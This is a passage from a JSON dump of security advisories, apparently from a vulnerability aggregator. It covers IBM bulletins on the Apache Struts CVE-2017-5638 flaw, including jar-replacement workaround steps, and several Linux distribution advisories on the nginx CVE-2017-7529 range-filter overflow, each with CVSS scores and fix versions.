IBM\u2019s Fix Central_ _ \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-02-18T01:45:50", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem models 840 and 900", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2023-02-18T01:45:50", "id": "7E0CCCCB457D8A77AB9E189B336C99165EE3DEBFD72C3969F0C1103ED1D1CC6D", "href": "https://www.ibm.com/support/pages/node/697155", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-13T05:37:08", "description": "## Summary\n\nThere is a vulnerability in Apache Struts to which the IBM\u00ae FlashSystem\u2122 V840 is susceptible. An exploit of this vulnerability (CVE-2017-5638) could allow a remote attacker to execute arbitrary code on the system.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\n**Affected Products and Versions of FlashSystem V840\u2019s two node types \n** \n_Storage Node_ \n\u00b7 Machine Type Models (MTMs) affected include 9846-AE1 and 9848-AE1 \n\u00b7 Code versions affected include supported VRMFs: \no 1.4.0.0 \u2013 1.4.6.0 \no 1.3.0.0 \u2013 1.3.0.7 \n \n_Controller Node _ \n\u00b7 MTMs affected include 9846-AC0, 9848-AC0, 9846-AC1, and 9848-AC1 \n\u00b7 Code versions affected include supported VRMFs: \no 7.8.0.0 \u2013 7.8.0.2 \no 7.7.0.0 \u2013 7.7.1.5\n\n## Remediation/Fixes\n\n_V840 MTMs_\n\n| _VRMF_| _APAR_| _Remediation/First Fix_ \n---|---|---|--- \n**Storage nodes:** \n9846-AE1 & \n9848-AE1 \n \n**Controller nodes:** \n9846-AC0, \n9846-AC1, \n9848-AC0, & \n9848-AC1| _Code fixes are now available, the minimum VRMF containing the fix depends on the code stream: \n \n___Storage Node VRMF __ \n_1.4 stream: 1.4.6.1 _ \n_1.3 stream: 1.3.0.8_ \n \n__Controller Node VRMF __ \n_7.8 stream: 7.8.1.0_ \n_7.7 stream: 7.7.1.6_| _ __N/A_| [**_FlashSystem V840 fixes_**](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+V840&release=1.0&platform=All&function=all>)** **for storage and controller node** **are available @ IBM\u2019s Fix Central \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T00:32:46", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem model V840", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T00:32:46", "id": "6470A30C25E8E98A770393E4946FDE7CFE3362A1DD3B87E75F8DB1F7CE3E88A5", "href": "https://www.ibm.com/support/pages/node/697157", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:52:21", "description": "## Summary\n\nAn Apache Struts vulnerability of arbitrary code execution was addressed by IBM Platform Cluster Manager Standard Edition, IBM Platform Cluster Manager Advanced Edition, Platform HPC, and Spectrum Cluster Foundation.\n\n## Vulnerability Details\n\nCVEID: [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) **DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. CVSS Base Score: 7.3 CVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score CVSS Environmental Score*: Undefined CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nPlatform Cluster Manager Standard Edition Version 4.1.0, 4.1.1 and 4.1.1.1 \nPlatform Cluster Manager Advanced Edition Version 4.2.0, 4.2.0.1, 4.2.0.2 and 4.2.1 \nPlatform HPC Version 4.1.1, 4.1.1.1, 4.2.0 and 4.2.1 \nSpectrum Cluster Foundation 4.2.2\n\n## Remediation/Fixes\n\n_<Product_\n\n| _VRMF_| _APAR_| _Remediation/First Fix_ \n---|---|---|--- \n_Platform Cluster Manager Standard Edition_| _4.1.0, 4.1.1, 4.1.1.1, 4.2.0, 4.2.0.1, 4.2.0.2, 4.2.1_| _None_| _See workaround_ \n_Platform Cluster Manager Advanced Edition_| _4.2.0, 4.2.0.1, 4.2.0.2, 4.2.1_| _None_| _See workaround_ \n_Platform HPC_| _4.1.1, 4.1.1.1, 4.2.0, 4.2.1_| _None_| _See workaround_ \n_Spectrum Cluster Foundation_| _4.2.2_| _None_| _See workaround_ \n \n## Workarounds and Mitigations\n\nPlatform Cluster Manager 4.2.1 & Platform HPC 4.2.1 & Spectrum Cluster Foundation 4.2.2 \n1 Download the struts-2.3.32-lib.zip package from the following location:[_http://archive.apache.org/dist/struts/2.3.32/_](<http://archive.apache.org/dist/struts/2.3.32/>) \n2 Copy the struts-2.3.32-lib.zip package to the management node. \n3 Extract the struts-2.3.32-lib.zip package on the management node. \n# mkdir -p /root/backup \n# mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/struts2-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/struts2-json-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/struts2-spring-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/xwork-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/freemarker-* /root/backup \n \n# unzip struts-2.3.32-lib.zip # cd struts-2.3.32/lib # cp xwork-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-jasperreports-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-json-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-spring-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp freemarker-2.3.22.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib \n4 Restart Platform HPC services. If high availability is enabled, run the following commands on the active management node: \n# pcmhatool failmode -m manual # pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI # pcmhatool failmode -m auto \nOtherwise, if high availability is not enabled, run the following commands on the management node: \n# pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI \n \n**Platform Cluster Manager 4.2.0 4.2.0.x & Platform HPC 4.2.0 4.2.0.x** \n \n1 Download the struts-2.3.32-lib.zip package from the following location:[_http://archive.apache.org/dist/struts/2.3.32/_](<http://archive.apache.org/dist/struts/2.3.28/>) \n2 Copy the struts-2.3.32-lib.zip package to the management node. \n3 Extract the struts-2.3.32-lib.zip package on the management node. \n4 # mkdir -p /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-json-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-spring-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/xwork-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/freemarker-* /root/backup \n \n# unzip struts-2.3.32-lib.zip # cd struts-2.3.32/lib # cp xwork-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-jasperreports-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-json-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-spring-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp freemarker-2.3.22.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib \n \n5 Restart Platform HPC services. If high availability is enabled, run the following commands on the active management node: \n# pcmhatool failmode -m manual # pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI # pcmhatool failmode -m auto \nOtherwise, if high availability is not enabled, run the following commands on the management node: \n# pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI \n \n**Platform Cluster Manager 4.1.x & Platform HPC 4.1.x** \n1 Download the struts-2.3.32-lib.zip package from the following location:[_http://archive.apache.org/dist/struts/2.3.32/_](<http://archive.apache.org/dist/struts/2.3.28/>) \n2 Copy the struts-2.3.32-lib.zip package to the management node. \n3 Extract the struts-2.3.32-lib.zip package on the management node \n# mkdir -p /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-json-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-spring-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/xwork-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/freemarker-* /root/backup \n \n# unzip struts-2.3.32-lib.zip # cd struts-2.3.32/lib/ # cp xwork-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-json-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-spring-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp freemarker-2.3.22.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-jasperreports-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib \n4 Restart Platform HPC services. If high availability is enabled, run the following commands on the active management node: \n# pcmhatool failmode -m manual # pmcadmin stop # pmcadmin start # pcmhatool failmode -m auto \nOtherwise, if high availability is not enabled, run the following commands on the management node: \n# pmcadmin stop # pmcadmin start \n \n \nIf providing a mitigation add this line to this section: \nIBM recommends that you review your entire environment to identify vulnerable releases of the Open Source Apache Struts Vulnerabilities Collections and take appropriate mitigation and remediation actions. \n \n \n**Important note: **IBM strongly suggests that all System z customers subscribe to the System z Security Portal to receive the latest critical System z security and integrity service. If you are not subscribed, see the instructions on the [_System z Security web site_](<http://www.ibm.com/systems/z/solutions/security_subintegrity.html>). Security and integrity APARs and associated fixes will be posted to this portal. IBM suggests reviewing the CVSS scores and applying all security or integrity fixes as soon as possible to minimize any potential risk.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T01:35:33", "type": "ibm", "title": "Security Bulletin: Apache Struts v2 Jakarta Multipart parser code execution affects IBM Platform Cluster Manager Standard Edition, IBM Platform Cluster Manager Advanced Edition, Platform HPC, and Spectrum Cluster Foundation (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T01:35:33", "id": "48F6A099D2817EC515107FFC49C4E17438FAC35AB50A0F0C6F0B86E2F20FECE3", "href": "https://www.ibm.com/support/pages/node/630909", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T05:54:34", "description": "## Summary\n\nAn Apache Struts vulnerability was addressed by IBM Social Media Analytics.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)** \nDESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nIBM Social Media Analytics version 1.3\n\n## Remediation/Fixes\n\nThe recommended solution is to apply the following interim fix: \n[IBM Social Media Analytics 1.3.0 IF19](<http://www.ibm.com/support/docview.wss?uid=swg24043514>)\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-15T22:50:04", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Struts affects IBM Social Media Analytics (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-15T22:50:04", "id": "546F05697B8F700EEF28B598121A8A3351E168124EB0852E39278EAE7A99C11B", "href": "https://www.ibm.com/support/pages/node/558271", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "freebsd": [{"lastseen": "2023-06-05T16:25:41", "description": "\n\nMaxim Dounin reports:\n\nA security issue was identified in nginx range filter. A specially\n\t crafted request might result in an integer overflow and incorrect\n\t processing of ranges, potentially resulting in sensitive information\n\t leak (CVE-2017-7529).\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-11T00:00:00", "type": "freebsd", "title": "nginx -- a specially crafted request might result in an integer overflow", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-11T00:00:00", "id": "B28ADC5B-6693-11E7-AD43-F0DEF16C5C1B", "href": "https://vuxml.freebsd.org/freebsd/b28adc5b-6693-11e7-ad43-f0def16c5c1b.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "archlinux": [{"lastseen": "2023-06-05T18:23:43", "description": "Arch Linux Security Advisory ASA-201707-11\n==========================================\n\nSeverity: High\nDate : 2017-07-12\nCVE-ID : CVE-2017-7529\nPackage : nginx\nType : information disclosure\nRemote : Yes\nLink : https://security.archlinux.org/AVG-345\n\nSummary\n=======\n\nThe package nginx before version 1.12.1-1 is vulnerable to information\ndisclosure.\n\nResolution\n==========\n\nUpgrade to 1.12.1-1.\n\n# pacman -Syu \"nginx>=1.12.1-1\"\n\nThe problem has been fixed upstream in version 1.12.1.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\nA security issue was identified in the range filter module of nginx <\n1.13.3. A specially crafted request might result in an integer overflow\nand incorrect processing of ranges, potentially resulting in sensitive\ninformation leak.\nWhen using nginx with standard modules this allows an attacker to\nobtain a cache file header if a response was returned from cache. In\nsome configurations a cache file header may contain IP address of the\nbackend server or other sensitive information. Besides, with 3rd party\nmodules it is potentially possible that the issue may lead to a denial\nof service or a disclosure of a worker process memory. No such modules\nare currently known though.\n\nImpact\n======\n\nA remote attacker can access sensitive information by sending a\nspecially crafted request.\n\nReferences\n==========\n\nhttp://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html\nhttps://nginx.org/download/patch.2017.ranges.txt\nhttps://security.archlinux.org/CVE-2017-7529", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-12T00:00:00", "type": "archlinux", "title": "[ASA-201707-11] nginx: information disclosure", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-12T00:00:00", "id": "ASA-201707-11", "href": "https://security.archlinux.org/ASA-201707-11", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-05T18:23:43", "description": "Arch Linux Security Advisory ASA-201707-12\n==========================================\n\nSeverity: High\nDate : 2017-07-12\nCVE-ID : CVE-2017-7529\nPackage : nginx-mainline\nType : information disclosure\nRemote : Yes\nLink : https://security.archlinux.org/AVG-346\n\nSummary\n=======\n\nThe package nginx-mainline before version 1.13.3-1 is vulnerable to\ninformation disclosure.\n\nResolution\n==========\n\nUpgrade to 1.13.3-1.\n\n# pacman -Syu \"nginx-mainline>=1.13.3-1\"\n\nThe problem has been fixed upstream in version 1.13.3.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\nA security issue was identified in the range filter module of nginx <\n1.13.3. A specially crafted request might result in an integer overflow\nand incorrect processing of ranges, potentially resulting in sensitive\ninformation leak.\nWhen using nginx with standard modules this allows an attacker to\nobtain a cache file header if a response was returned from cache. In\nsome configurations a cache file header may contain IP address of the\nbackend server or other sensitive information. Besides, with 3rd party\nmodules it is potentially possible that the issue may lead to a denial\nof service or a disclosure of a worker process memory. No such modules\nare currently known though.\n\nImpact\n======\n\nA remote attacker can access sensitive information by sending a\nspecially crafted request.\n\nReferences\n==========\n\nhttp://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html\nhttps://nginx.org/download/patch.2017.ranges.txt\nhttps://security.archlinux.org/CVE-2017-7529", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-12T00:00:00", "type": "archlinux", "title": "[ASA-201707-12] nginx-mainline: information disclosure", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-12T00:00:00", "id": "ASA-201707-12", "href": "https://security.archlinux.org/ASA-201707-12", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "altlinux": [{"lastseen": "2023-05-07T11:43:44", "description": "July 11, 2017 Gleb Fotengauer-Malinovskiy 1.12.1-alt1\n \n \n - Updated to 1.12.1 (Fixes CVE-2017-7529).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-11T00:00:00", "type": "altlinux", "title": "Security fix for the ALT Linux 9 package nginx version 1.12.1-alt1", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-11T00:00:00", "id": "18D4D90D2FAAA6F9C36D14F71670A6FA", "href": "https://packages.altlinux.org/en/p9/srpms/nginx/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "alpinelinux": [{"lastseen": "2023-06-23T11:06:40", "description": "Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-13T13:29:00", "type": "alpinelinux", "title": "CVE-2017-7529", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2022-01-24T16:46:00", "id": "ALPINE:CVE-2017-7529", "href": "https://security.alpinelinux.org/vuln/CVE-2017-7529", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "mageia": [{"lastseen": "2023-06-05T16:28:27", "description": "A security issue was identified in nginx range filter. A specially crafted request might result in an integer overflow and incorrect processing of ranges, potentially resulting in sensitive information leak (CVE-2017-7529). \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-30T15:58:51", "type": "mageia", "title": "Updated nginx packages fix security vulnerability\n", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": 